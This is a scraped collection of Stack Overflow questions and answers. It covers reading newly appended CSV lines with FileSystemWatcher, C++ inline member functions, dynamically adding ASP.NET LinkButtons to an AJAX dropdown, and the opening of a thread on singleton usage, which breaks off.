<p>I have a .csv file that is frequently updated (about 20 to 30 times per minute). I want to insert the newly added lines to a database as soon as they are written to the file.</p> <p>The <a href="http://msdn.microsoft.com/en-us/library/system.io.filesystemwatcher.aspx" rel="nofollow noreferrer">FileSystemWatcher</a> class listens to the file system change notifications and can raise an event whenever there is a change in a specified file. The problem is that the FileSystemWatcher cannot determine exactly which lines were added or removed (as far as I know).</p> <p>One way to read those lines is to save and compare the line count between changes and read the difference between the last and second last change. However, I am looking for a cleaner (perhaps more elegant) solution.</p>
[ { "answer_id": 86622, "author": "expedient", "author_id": 4248, "author_profile": "https://Stackoverflow.com/users/4248", "pm_score": 0, "selected": false, "text": "<p>off the top of my head, you could store the last known file size. Check against the file size, and when it changes, open a reader.</p>\n\n<p>Then seek the reader to your last file size, and start reading from there.</p>\n" }, { "answer_id": 86623, "author": "James", "author_id": 342514, "author_profile": "https://Stackoverflow.com/users/342514", "pm_score": 1, "selected": false, "text": "<p>I would keep the current text in memory if it is small enough and then use a diff algorithm to check if the new text and previous text changed. This library, <a href=\"http://www.mathertel.de/Diff/\" rel=\"nofollow noreferrer\">http://www.mathertel.de/Diff/</a>, not only will tell you that something changed but what changed as well. So you can then insert the changed data into the db.</p>\n" }, { "answer_id": 86638, "author": "itsmatt", "author_id": 7862, "author_profile": "https://Stackoverflow.com/users/7862", "pm_score": 2, "selected": false, "text": "<p>Right, the FileSystemWatcher doesn't know anything about your file's contents. It'll tell you if it changed, etc. but not what changed.</p>\n\n<p>Are you only adding to the file? It was a little unclear from the post as to whether lines were added or could also be removed. Assuming they are appended, the solution is pretty straightforward, otherwise you'll be doing some comparisons.</p>\n" }, { "answer_id": 86639, "author": "Mike L", "author_id": 12085, "author_profile": "https://Stackoverflow.com/users/12085", "pm_score": 0, "selected": false, "text": "<p>You're right about the FileSystemWatcher. You can listen for created, modified, deleted, etc. events but you don't get deeper than the file that raised them.</p>\n\n<p>Do you have control over the file itself? You could change the model slightly to use the file like a buffer. Instead of one file, have two. One is the staging, one is the sum of all processed output. Read all lines from your \"buffer\" file, process them, then insert them into the end of another file that is the total of all lines processed. Then, delete the lines you processed. This way, all info in your file is pending processing. The catch is that if the system is anything other than write (i.e. also deletes lines) then it won't work.</p>\n" }, { "answer_id": 86887, "author": "RichS", "author_id": 6247, "author_profile": "https://Stackoverflow.com/users/6247", "pm_score": 3, "selected": true, "text": "<p>I've written something very similar. I used the FileSystemWatcher to get notifications about changes. I then used a FileStream to read the data (keeping track of my last position within the file and seeking to that before reading the new data). Then I add the read data to a buffer which automatically extracts complete lines and then outputs then to the UI.</p>\n\n<p>Note: \"this.MoreData(..) is an event, the listener of which adds to the aforementioned buffer, and handles the complete line extraction.</p>\n\n<p>Note: As has already been mentioned, this will only work if the modifications are always additions to the file. Any deletions will cause problems.</p>\n\n<p>Hope this helps.</p>\n\n<pre><code> public void File_Changed( object source, FileSystemEventArgs e )\n {\n lock ( this )\n {\n if ( !this.bPaused )\n {\n bool bMoreData = false;\n\n // Read from current seek position to end of file\n byte[] bytesRead = new byte[this.iMaxBytes];\n FileStream fs = new FileStream( this.strFilename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite );\n\n if ( 0 == this.iPreviousSeekPos )\n {\n if ( this.bReadFromStart )\n {\n if ( null != this.BeginReadStart )\n {\n this.BeginReadStart( null, null );\n }\n this.bReadingFromStart = true;\n }\n else\n {\n if ( fs.Length &gt; this.iMaxBytes )\n {\n this.iPreviousSeekPos = fs.Length - this.iMaxBytes;\n }\n }\n }\n\n this.iPreviousSeekPos = (int)fs.Seek( this.iPreviousSeekPos, SeekOrigin.Begin );\n int iNumBytes = fs.Read( bytesRead, 0, this.iMaxBytes );\n this.iPreviousSeekPos += iNumBytes;\n\n // If we haven't read all the data, then raise another event\n if ( this.iPreviousSeekPos &lt; fs.Length )\n {\n bMoreData = true;\n }\n\n fs.Close();\n\n string strData = this.encoding.GetString( bytesRead );\n this.MoreData( this, strData );\n\n if ( bMoreData )\n {\n File_Changed( null, null );\n }\n else\n {\n if ( this.bReadingFromStart )\n {\n this.bReadingFromStart = false;\n if ( null != this.EndReadStart )\n {\n this.EndReadStart( null, null );\n }\n }\n }\n }\n }\n</code></pre>\n" }, { "answer_id": 87235, "author": "artur02", "author_id": 13937, "author_profile": "https://Stackoverflow.com/users/13937", "pm_score": 2, "selected": false, "text": "<p>I think you should use NTFS Change Journal or similar:</p>\n\n<blockquote>\n <p>The change journal is used by NTFS to\n provide a persistent log of all\n changes made to files on the volume.\n For each volume, NTFS uses the change\n journal to <strong>track information about\n added, deleted, and modified files</strong>.\n The change journal is much more\n efficient than time stamps or file\n notifications for determining changes\n in a given namespace.</p>\n</blockquote>\n\n<p>You can find a <a href=\"http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/core/fncc_fil_khzt.mspx?mfr=true\" rel=\"nofollow noreferrer\">description on TechNet</a>. You will need to use PInvoke in .NET.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86534", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4714/" ]
I have a .csv file that is frequently updated (about 20 to 30 times per minute). I want to insert the newly added lines to a database as soon as they are written to the file. The [FileSystemWatcher](http://msdn.microsoft.com/en-us/library/system.io.filesystemwatcher.aspx) class listens to the file system change notifications and can raise an event whenever there is a change in a specified file. The problem is that the FileSystemWatcher cannot determine exactly which lines were added or removed (as far as I know). One way to read those lines is to save and compare the line count between changes and read the difference between the last and second last change. However, I am looking for a cleaner (perhaps more elegant) solution.
I've written something very similar. I used the FileSystemWatcher to get notifications about changes. I then used a FileStream to read the data (keeping track of my last position within the file and seeking to that before reading the new data). Then I add the read data to a buffer which automatically extracts complete lines and then outputs then to the UI. Note: "this.MoreData(..) is an event, the listener of which adds to the aforementioned buffer, and handles the complete line extraction. Note: As has already been mentioned, this will only work if the modifications are always additions to the file. Any deletions will cause problems. Hope this helps. ``` public void File_Changed( object source, FileSystemEventArgs e ) { lock ( this ) { if ( !this.bPaused ) { bool bMoreData = false; // Read from current seek position to end of file byte[] bytesRead = new byte[this.iMaxBytes]; FileStream fs = new FileStream( this.strFilename, FileMode.Open, FileAccess.Read, FileShare.ReadWrite ); if ( 0 == this.iPreviousSeekPos ) { if ( this.bReadFromStart ) { if ( null != this.BeginReadStart ) { this.BeginReadStart( null, null ); } this.bReadingFromStart = true; } else { if ( fs.Length > this.iMaxBytes ) { this.iPreviousSeekPos = fs.Length - this.iMaxBytes; } } } this.iPreviousSeekPos = (int)fs.Seek( this.iPreviousSeekPos, SeekOrigin.Begin ); int iNumBytes = fs.Read( bytesRead, 0, this.iMaxBytes ); this.iPreviousSeekPos += iNumBytes; // If we haven't read all the data, then raise another event if ( this.iPreviousSeekPos < fs.Length ) { bMoreData = true; } fs.Close(); string strData = this.encoding.GetString( bytesRead ); this.MoreData( this, strData ); if ( bMoreData ) { File_Changed( null, null ); } else { if ( this.bReadingFromStart ) { this.bReadingFromStart = false; if ( null != this.EndReadStart ) { this.EndReadStart( null, null ); } } } } } ```
86,561
<p>Is there any difference to the following code:</p> <pre><code>class Foo { inline int SomeFunc() { return 42; } int AnotherFunc() { return 42; } }; </code></pre> <p>Will both functions gets inlined? Does inline actually make any difference? Are there any rules on when you should or shouldn't inline code? I often use the <code>AnotherFunc</code> syntax (accessors for example) but I rarely specify <code>inline</code> directly.</p>
[ { "answer_id": 86576, "author": "Branan", "author_id": 13894, "author_profile": "https://Stackoverflow.com/users/13894", "pm_score": 5, "selected": true, "text": "<p>Both forms should be inlined in the exact same way. Inline is implicit for function bodies defined in a class definition.</p>\n" }, { "answer_id": 86581, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 5, "selected": false, "text": "<p>The <code>inline</code> keyword is essentially a hint to the compiler. Using <code>inline</code> doesn't guarantee that your function <em>will</em> be inlined, nor does omitting it guarantee that it <em>won't</em>. You are just letting the compiler know that it might be a good idea to try harder to inline that particular function.</p>\n" }, { "answer_id": 86592, "author": "Nemanja Trifunovic", "author_id": 8899, "author_profile": "https://Stackoverflow.com/users/8899", "pm_score": 3, "selected": false, "text": "<p>Sutter's Guru of the Week #33 answers some of your questions and more.</p>\n\n<p><a href=\"http://www.gotw.ca/gotw/033.htm\" rel=\"nofollow noreferrer\">http://www.gotw.ca/gotw/033.htm</a></p>\n" }, { "answer_id": 86635, "author": "Rob Walker", "author_id": 3631, "author_profile": "https://Stackoverflow.com/users/3631", "pm_score": 2, "selected": false, "text": "<p>VC++ supports <a href=\"http://msdn.microsoft.com/en-us/library/z8y1yy88(VS.71).aspx\" rel=\"nofollow noreferrer\">__forceinline</a> and <a href=\"http://msdn.microsoft.com/en-us/library/kxybs02x(VS.80).aspx\" rel=\"nofollow noreferrer\">__declspec(noinline)</a> directives if you think you know better than the compiler. Hint: you probably don't!</p>\n" }, { "answer_id": 86642, "author": "Mike", "author_id": 14680, "author_profile": "https://Stackoverflow.com/users/14680", "pm_score": 2, "selected": false, "text": "<p>Inline is a compiler hint and does not force the compiler to inline the code (at least in C++). So the short answer is it's compiler and probably context dependent what will happen in your example. Most good compilers would probably inline both especially due to the obvious optimization of a constant return from both functions.</p>\n\n<p>In general inline is not something you should worry about. It brings the performance benefit of not having to execute machine instructions to generate a stack frame and return control flow. But in all but the most specialized cases I would argue that is trivial.</p>\n\n<p>Inline is important in two cases. One if you are in a real-time environment and not responding fast enough. Two is if code profiling showed a significant bottleneck in a really tight loop (i.e. a subroutine called over and over) then inlining could help.</p>\n\n<p>Specific applications and architectures may also lead you to inlining as an optimization.</p>\n" }, { "answer_id": 87602, "author": "unwieldy", "author_id": 14963, "author_profile": "https://Stackoverflow.com/users/14963", "pm_score": 2, "selected": false, "text": "<pre><code>class Foo \n{\n inline int SomeFunc() { return 42; }\n int AnotherFunc() { return 42; }\n};\n</code></pre>\n\n<p>It is correct that both ways are guaranteed to compile the same. However, it is preferable to do neither of these ways. According to <a href=\"http://www.parashift.com/c++-faq-lite/inline-functions.html#faq-9.8\" rel=\"nofollow noreferrer\">the C++ FAQ</a> you should declare it normally inside the class definition, and then define it outside the class definition, inside the header, with the explicit <em>inline</em> keyword. As the FAQ describes, this is because you want to separate the declaration and definition for the readability of others (declaration is equivalent to \"what\" and definition \"how\").</p>\n\n<blockquote>\n <p>Does inline actually make any difference?</p>\n</blockquote>\n\n<p>Yes, if the compiler grants the inline request, it is vastly different. Think of inlined code as a macro. Everywhere it is called, the function call is replaced with the actual code in the function definition. This can result in code bloat if you inline large functions, but the compiler typically protects you from this by not granting an inline request if the function is too big.</p>\n\n<blockquote>\n <p>Are there any rules on when you should or shouldn't inline code?</p>\n</blockquote>\n\n<p>I don't know of any hard+fast rules, but a guideline is to only inline code if it is called often and it is relatively small. Setters and getters are commonly inlined. If it is in an especially performance intensive area of the code, inlining should be considered. Always remember you are trading execution speed for executable size with inlining.</p>\n" }, { "answer_id": 87933, "author": "Roger Nelson", "author_id": 14964, "author_profile": "https://Stackoverflow.com/users/14964", "pm_score": 1, "selected": false, "text": "<p>I have found some C++ compilers (I.e. SunStudio) complain if the inline is omitted as in </p>\n\n<pre><code>int AnotherFunc() { return 42; }\n</code></pre>\n\n<p>So I would recommend always using the inline keyword in this case. And don't forget to remove the inline keyword if you later implement the method as an actual function call, this will really mess up linking (in SunStudio 11 and 12 and Borland C++ Builder).\nI would suggest making minimal use of inline code because when stepping through code with with a debugger, it will 'step into' the inline code even when using 'step over' command, this can be rather annoying.</p>\n" }, { "answer_id": 89162, "author": "Tim James", "author_id": 17055, "author_profile": "https://Stackoverflow.com/users/17055", "pm_score": 0, "selected": false, "text": "<p>Note that outside of a class, <code>inline</code> does something more useful in the code: by forcing (well, sort of) the C++ compiler to generate the code inline at each call to the function, it prevents multiple definitions of the same symbol (the function signature) in different translation units. </p>\n\n<p>So if you inline a non-member function in a header file, and include that in multiple cpp files you don't have the linker yelling at you. If the function is too big for you to suggest inline-ing, do it the C way: declare in header, define in cpp.</p>\n\n<p>This has little to do with whether the code is really inlined: it allows the style of implementation in header, as is common for short member functions.</p>\n\n<p>(I imagine the compiler will be smart if it needs a non-inline rendering of the function, as it is for template functions, but...)</p>\n" }, { "answer_id": 90142, "author": "RomanM", "author_id": 14587, "author_profile": "https://Stackoverflow.com/users/14587", "pm_score": 0, "selected": false, "text": "<p>Also to add to what Greg said, when preforming optimization (i.e. <code>inline</code>-ing) the compiler consults not only the key words in the code but also other command line arguments the specify how the compiler should optimize the code.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86561", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9236/" ]
Is there any difference to the following code: ``` class Foo { inline int SomeFunc() { return 42; } int AnotherFunc() { return 42; } }; ``` Will both functions gets inlined? Does inline actually make any difference? Are there any rules on when you should or shouldn't inline code? I often use the `AnotherFunc` syntax (accessors for example) but I rarely specify `inline` directly.
Both forms should be inlined in the exact same way. Inline is implicit for function bodies defined in a class definition.
86,563
<p>I'm creating a custom drop down list with AJAX dropdownextender. Inside my drop panel I have linkbuttons for my options.</p> <pre><code>&lt;asp:Label ID="ddl_Remit" runat="server" Text="Select remit address." Style="display: block; width: 300px; padding:2px; padding-right: 50px; font-family: Tahoma; font-size: 11px;" /&gt; &lt;asp:Panel ID="DropPanel" runat="server" CssClass="ContextMenuPanel" Style="display :none; visibility: hidden;"&gt; &lt;asp:LinkButton runat="server" ID="Option1z" Text="451 Stinky Place Drive &lt;br/&gt;North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" /&gt; &lt;asp:LinkButton runat="server" ID="Option2z" Text="451 Stinky Place Drive &lt;br/&gt;North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" /&gt; &lt;asp:LinkButton runat="server" ID="Option3z" Text="451 Stinky Place Drive &lt;br/&gt;North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" /&gt;--&gt; &lt;/asp:Panel&gt; &lt;ajaxToolkit:DropDownExtender runat="server" ID="DDE" TargetControlID="ddl_Remit" DropDownControlID="DropPanel" /&gt; </code></pre> <p>And this works well. Now what I have to do is dynamically fill this dropdownlist. Here is my best attempt:</p> <pre><code>private void fillRemitDDL() { //LinkButton Text="451 Stinky Place Drive &lt;br/&gt;North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" DAL_ScanlineTableAdapters.SL_GetRemitByScanlineIDTableAdapter ta = new DAL_ScanlineTableAdapters.SL_GetRemitByScanlineIDTableAdapter(); DataTable dt = (DataTable)ta.GetData(int.Parse(this.SLID)); if (dt.Rows.Count &gt; 0) { Panel ddl = this.FindControl("DropPanel") as Panel; ddl.Controls.Clear(); for (int x = 0; x &lt; dt.Rows.Count; x++) { LinkButton lb = new LinkButton(); lb.Text = dt.Rows[x]["Remit3"].ToString().Trim() + "&lt;br /&gt;" + dt.Rows[x]["Remit4"].ToString().Trim() + "&lt;br /&gt;" + dt.Rows[x]["RemitZip"].ToString().Trim(); lb.CssClass = "ContextMenuItem"; lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); ddl.Controls.Add(lb); } } } </code></pre> <p>My problem is that I cannot get the event to run script! I've tried the above code as well as replacing </p> <pre><code>lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); </code></pre> <p>with</p> <pre><code>lb.Click += new EventHandler(OnSelect); </code></pre> <p>and also </p> <pre><code>lb.OnClientClick = "setDDL(" + lb.Text + ")"); </code></pre> <p>I'm testing the the branches with Alerts on client-side and getting nothing.</p> <p>Edit: I would like to try adding the generic anchor but I think I can add the element to an asp.net control. Nor can I access a client-side div from server code to add it that way. I'm going to have to use some sort of control with an event. My setDLL function goes as follows:</p> <pre><code>function setDDL(var) { alert(var); document.getElementById('ctl00_ContentPlaceHolder1_Scanline1_ddl_Remit').innerText = var; } </code></pre> <p>Also I just took out the string variable in the function call (i.e. from </p> <pre><code>lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); </code></pre> <p>to </p> <pre><code>lb.Attributes.Add("onclick", "setDDL()"); </code></pre>
[ { "answer_id": 86675, "author": "Quintin Robinson", "author_id": 12707, "author_profile": "https://Stackoverflow.com/users/12707", "pm_score": 2, "selected": true, "text": "<p>I'm not sure what your setDDL method does in your script but it should fire if one of the link buttons is clicked. I think you might be better off just inserting a generic html anchor though instead of a .net linkbutton as you will have no reference to the control on the server side. Then you can handle the data excahnge with your setDDL method. Furthermore you might want to quote the string you are placing inside the call to setDDL because will cause script issues (like not calling the method + page errors) given you are placing literal string data without quotes.</p>\n" }, { "answer_id": 87045, "author": "pinkeerach", "author_id": 16104, "author_profile": "https://Stackoverflow.com/users/16104", "pm_score": 0, "selected": false, "text": "<p>the add should probably look like this (add the '' around the string and add a ; to the end of the javascript statement).</p>\n\n<pre><code>lb.Attributes.Add(\"onclick\", \"setDDL('\" + lb.Text + \"');\");\n</code></pre>\n\n<p>OR!</p>\n\n<p>set the <a href=\"http://msdn.microsoft.com/en-us/library/system.web.ui.webcontrols.linkbutton.onclientclick.aspx\" rel=\"nofollow noreferrer\">OnClientClick property</a> on the linkbutton. </p>\n" }, { "answer_id": 87637, "author": "Dale Marshall", "author_id": 1491425, "author_profile": "https://Stackoverflow.com/users/1491425", "pm_score": 1, "selected": false, "text": "<p>Ok, I used Literals to create anchor tags with onclicks on them and that seems to be working great. Thanks alot.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86563", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1491425/" ]
I'm creating a custom drop down list with AJAX dropdownextender. Inside my drop panel I have linkbuttons for my options. ``` <asp:Label ID="ddl_Remit" runat="server" Text="Select remit address." Style="display: block; width: 300px; padding:2px; padding-right: 50px; font-family: Tahoma; font-size: 11px;" /> <asp:Panel ID="DropPanel" runat="server" CssClass="ContextMenuPanel" Style="display :none; visibility: hidden;"> <asp:LinkButton runat="server" ID="Option1z" Text="451 Stinky Place Drive <br/>North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" /> <asp:LinkButton runat="server" ID="Option2z" Text="451 Stinky Place Drive <br/>North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" /> <asp:LinkButton runat="server" ID="Option3z" Text="451 Stinky Place Drive <br/>North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" />--> </asp:Panel> <ajaxToolkit:DropDownExtender runat="server" ID="DDE" TargetControlID="ddl_Remit" DropDownControlID="DropPanel" /> ``` And this works well. Now what I have to do is dynamically fill this dropdownlist. Here is my best attempt: ``` private void fillRemitDDL() { //LinkButton Text="451 Stinky Place Drive <br/>North Nowhere, Nebraska 20503-2343 " OnClick="OnSelect" CssClass="ContextMenuItem" DAL_ScanlineTableAdapters.SL_GetRemitByScanlineIDTableAdapter ta = new DAL_ScanlineTableAdapters.SL_GetRemitByScanlineIDTableAdapter(); DataTable dt = (DataTable)ta.GetData(int.Parse(this.SLID)); if (dt.Rows.Count > 0) { Panel ddl = this.FindControl("DropPanel") as Panel; ddl.Controls.Clear(); for (int x = 0; x < dt.Rows.Count; x++) { LinkButton lb = new LinkButton(); lb.Text = dt.Rows[x]["Remit3"].ToString().Trim() + "<br />" + dt.Rows[x]["Remit4"].ToString().Trim() + "<br />" + dt.Rows[x]["RemitZip"].ToString().Trim(); lb.CssClass = "ContextMenuItem"; lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); ddl.Controls.Add(lb); } } } ``` My problem is that I cannot get the event to run script! I've tried the above code as well as replacing ``` lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); ``` with ``` lb.Click += new EventHandler(OnSelect); ``` and also ``` lb.OnClientClick = "setDDL(" + lb.Text + ")"); ``` I'm testing the the branches with Alerts on client-side and getting nothing. Edit: I would like to try adding the generic anchor but I think I can add the element to an asp.net control. Nor can I access a client-side div from server code to add it that way. I'm going to have to use some sort of control with an event. My setDLL function goes as follows: ``` function setDDL(var) { alert(var); document.getElementById('ctl00_ContentPlaceHolder1_Scanline1_ddl_Remit').innerText = var; } ``` Also I just took out the string variable in the function call (i.e. from ``` lb.Attributes.Add("onclick", "setDDL(" + lb.Text + ")"); ``` to ``` lb.Attributes.Add("onclick", "setDDL()"); ```
I'm not sure what your setDDL method does in your script but it should fire if one of the link buttons is clicked. I think you might be better off just inserting a generic html anchor though instead of a .net linkbutton as you will have no reference to the control on the server side. Then you can handle the data excahnge with your setDDL method. Furthermore you might want to quote the string you are placing inside the call to setDDL because will cause script issues (like not calling the method + page errors) given you are placing literal string data without quotes.
86,582
<p>Edit: From another question I provided an answer that has links to a lot of questions/answers about singletons: <a href="https://stackoverflow.com/questions/1008019/c-singleton-design-pattern/1008289#1008289">More info about singletons here:</a></p> <p>So I have read the thread <a href="https://stackoverflow.com/questions/11831/singletons-good-design-or-a-crutch">Singletons: good design or a crutch?</a><br> And the argument still rages.</p> <p>I see Singletons as a Design Pattern (good and bad).<br><br> The problem with Singleton is not the Pattern but rather the users (sorry everybody). Everybody and their father thinks they can implement one correctly (and from the many interviews I have done, most people can't). Also because everybody thinks they can implement a correct Singleton they abuse the Pattern and use it in situations that are not appropriate (replacing global variables with Singletons!).</p> <p>So the main questions that need to be answered are:</p> <ul> <li>When should you use a Singleton</li> <li>How do you implement a Singleton correctly</li> </ul> <p>My hope for this article is that we can collect together in a single place (rather than having to google and search multiple sites) an authoritative source of when (and then how) to use a Singleton correctly. Also appropriate would be a list of Anti-Usages and common bad implementations explaining why they fail to work and for good implementations their weaknesses.<br><br><hr></p> <p>So get the ball rolling:<br> I will hold my hand up and say this is what I use but probably has problems.<br> I like "Scott Myers" handling of the subject in his books "Effective C++"</p> <blockquote> <p>Good Situations to use Singletons (not many):</p> <ul> <li>Logging frameworks</li> <li>Thread recycling pools</li> </ul> </blockquote> <pre><code>/* * C++ Singleton * Limitation: Single Threaded Design * See: http://www.aristeia.com/Papers/DDJ_Jul_Aug_2004_revised.pdf * For problems associated with locking in multi threaded applications * * Limitation: * If you use this Singleton (A) within a destructor of another Singleton (B) * This Singleton (A) must be fully constructed before the constructor of (B) * is called. */ class MySingleton { private: // Private Constructor MySingleton(); // Stop the compiler generating methods of copy the object MySingleton(MySingleton const&amp; copy); // Not Implemented MySingleton&amp; operator=(MySingleton const&amp; copy); // Not Implemented public: static MySingleton&amp; getInstance() { // The only instance // Guaranteed to be lazy initialized // Guaranteed that it will be destroyed correctly static MySingleton instance; return instance; } }; </code></pre> <p>OK. Lets get some criticism and other implementations together.<br> :-)</p>
[ { "answer_id": 86609, "author": "Rob", "author_id": 9236, "author_profile": "https://Stackoverflow.com/users/9236", "pm_score": 3, "selected": false, "text": "<p>The first example isn't thread safe - if two threads call getInstance at the same time, that static is going to be a PITA. Some form of mutex would help.</p>\n" }, { "answer_id": 86649, "author": "Eli Courtwright", "author_id": 1694, "author_profile": "https://Stackoverflow.com/users/1694", "pm_score": 4, "selected": false, "text": "<p>Singletons basically let you have complex global state in languages which otherwise make it difficult or impossible to have complex global variables.</p>\n\n<p>Java in particular uses singletons as a replacement for global variables, since everything must be contained within a class. The closest it comes to global variables are public static variables, which may be used as if they were global with <code>import static</code></p>\n\n<p>C++ does have global variables, but the order in which constructors of global class variables are invoked is undefined. As such, a singleton lets you defer the creation of a global variable until the first time that variable is needed.</p>\n\n<p>Languages such as Python and Ruby use singletons very little because you can use global variables within a module instead.</p>\n\n<p>So when is it good/bad to use a singleton? Pretty much exactly when it would be good/bad to use a global variable.</p>\n" }, { "answer_id": 86667, "author": "Adam Franco", "author_id": 15872, "author_profile": "https://Stackoverflow.com/users/15872", "pm_score": 0, "selected": false, "text": "<p>Anti-Usage: </p>\n\n<p>One major problem with excessive singleton usage is that the pattern prevents easy extension and swapping of alternate implementations. The class-name is hard coded wherever the singleton is used.</p>\n" }, { "answer_id": 86674, "author": "Paweł Hajdan", "author_id": 9403, "author_profile": "https://Stackoverflow.com/users/9403", "pm_score": 5, "selected": false, "text": "<p>One thing with patterns: <strong>don't generalize</strong>. They have all cases when they're useful, and when they fail.</p>\n\n<p>Singleton can be nasty when you have to <strong>test</strong> the code. You're generally stuck with one instance of the class, and can choose between opening up a door in constructor or some method to reset the state and so on.</p>\n\n<p>Other problem is that the Singleton in fact is nothing more than a <strong>global variable</strong> in disguise. When you have too much global shared state over your program, things tend to go back, we all know it.</p>\n\n<p>It may make <strong>dependency tracking</strong> harder. When everything depends on your Singleton, it's harder to change it, split to two, etc. You're generally stuck with it. This also hampers flexibility. Investigate some <strong>Dependency Injection</strong> framework to try to alleviate this issue.</p>\n" }, { "answer_id": 86681, "author": "artur02", "author_id": 13937, "author_profile": "https://Stackoverflow.com/users/13937", "pm_score": 0, "selected": false, "text": "<p>I think this is the <strong>most robust version</strong> for C#:</p>\n\n<pre><code>using System;\nusing System.Collections;\nusing System.Threading;\n\nnamespace DoFactory.GangOfFour.Singleton.RealWorld\n{\n\n // MainApp test application\n\n class MainApp\n {\n static void Main()\n {\n LoadBalancer b1 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b2 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b3 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b4 = LoadBalancer.GetLoadBalancer();\n\n // Same instance?\n if (b1 == b2 &amp;&amp; b2 == b3 &amp;&amp; b3 == b4)\n {\n Console.WriteLine(\"Same instance\\n\");\n }\n\n // All are the same instance -- use b1 arbitrarily\n // Load balance 15 server requests\n for (int i = 0; i &lt; 15; i++)\n {\n Console.WriteLine(b1.Server);\n }\n\n // Wait for user\n Console.Read(); \n }\n }\n\n // \"Singleton\"\n\n class LoadBalancer\n {\n private static LoadBalancer instance;\n private ArrayList servers = new ArrayList();\n\n private Random random = new Random();\n\n // Lock synchronization object\n private static object syncLock = new object();\n\n // Constructor (protected)\n protected LoadBalancer()\n {\n // List of available servers\n servers.Add(\"ServerI\");\n servers.Add(\"ServerII\");\n servers.Add(\"ServerIII\");\n servers.Add(\"ServerIV\");\n servers.Add(\"ServerV\");\n }\n\n public static LoadBalancer GetLoadBalancer()\n {\n // Support multithreaded applications through\n // 'Double checked locking' pattern which (once\n // the instance exists) avoids locking each\n // time the method is invoked\n if (instance == null)\n {\n lock (syncLock)\n {\n if (instance == null)\n {\n instance = new LoadBalancer();\n }\n }\n }\n\n return instance;\n }\n\n // Simple, but effective random load balancer\n\n public string Server\n {\n get\n {\n int r = random.Next(servers.Count);\n return servers[r].ToString();\n }\n }\n }\n}\n</code></pre>\n\n<p>Here is the <strong>.NET-optimised version</strong>:</p>\n\n<pre><code>using System;\nusing System.Collections;\n\nnamespace DoFactory.GangOfFour.Singleton.NETOptimized\n{\n\n // MainApp test application\n\n class MainApp\n {\n\n static void Main()\n {\n LoadBalancer b1 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b2 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b3 = LoadBalancer.GetLoadBalancer();\n LoadBalancer b4 = LoadBalancer.GetLoadBalancer();\n\n // Confirm these are the same instance\n if (b1 == b2 &amp;&amp; b2 == b3 &amp;&amp; b3 == b4)\n {\n Console.WriteLine(\"Same instance\\n\");\n }\n\n // All are the same instance -- use b1 arbitrarily\n // Load balance 15 requests for a server\n for (int i = 0; i &lt; 15; i++)\n {\n Console.WriteLine(b1.Server);\n }\n\n // Wait for user\n Console.Read(); \n }\n }\n\n // Singleton\n\n sealed class LoadBalancer\n {\n // Static members are lazily initialized.\n // .NET guarantees thread safety for static initialization\n private static readonly LoadBalancer instance =\n new LoadBalancer();\n\n private ArrayList servers = new ArrayList();\n private Random random = new Random();\n\n // Note: constructor is private.\n private LoadBalancer()\n {\n // List of available servers\n servers.Add(\"ServerI\");\n servers.Add(\"ServerII\");\n servers.Add(\"ServerIII\");\n servers.Add(\"ServerIV\");\n servers.Add(\"ServerV\");\n }\n\n public static LoadBalancer GetLoadBalancer()\n {\n return instance;\n }\n\n // Simple, but effective load balancer\n public string Server\n {\n get\n {\n int r = random.Next(servers.Count);\n return servers[r].ToString();\n }\n }\n }\n}\n</code></pre>\n\n<p>You can find this pattern at <a href=\"http://www.dofactory.com/Patterns/PatternSingleton.aspx#_self1\" rel=\"nofollow noreferrer\">dotfactory.com</a>.</p>\n" }, { "answer_id": 86690, "author": "DrPizza", "author_id": 2131, "author_profile": "https://Stackoverflow.com/users/2131", "pm_score": 5, "selected": false, "text": "<p>The problem with singletons is not their implementation. It is that they conflate two different concepts, neither of which is obviously desirable.</p>\n\n<p>1) Singletons provide a global access mechanism to an object. Although they might be marginally more threadsafe or marginally more reliable in languages without a well-defined initialization order, this usage is still the moral equivalent of a global variable. It's a global variable dressed up in some awkward syntax (foo::get_instance() instead of g_foo, say), but it serves the exact same purpose (a single object accessible across the entire program) and has the exact same drawbacks.</p>\n\n<p>2) Singletons prevent multiple instantiations of a class. It's rare, IME, that this kind of feature should be baked into a class. It's normally a much more contextual thing; a lot of the things that are regarded as one-and-only-one are really just happens-to-be-only-one. IMO a more appropriate solution is to just create only one instance--until you realize that you need more than one instance.</p>\n" }, { "answer_id": 86695, "author": "Brian", "author_id": 15901, "author_profile": "https://Stackoverflow.com/users/15901", "pm_score": 2, "selected": false, "text": "<p>Singletons are handy when you've got a lot code being run when you initialize and object. For example, when you using iBatis when you setup a persistence object it has to read all the configs, parse the maps, make sure its all correct, etc.. before getting to your code.</p>\n\n<p>If you did this every time, performance would be much degraded. Using it in a singleton, you take that hit once and then all subsequent calls don't have to do it.</p>\n" }, { "answer_id": 86741, "author": "ZebZiggle", "author_id": 2587612, "author_profile": "https://Stackoverflow.com/users/2587612", "pm_score": 2, "selected": false, "text": "<p>The real 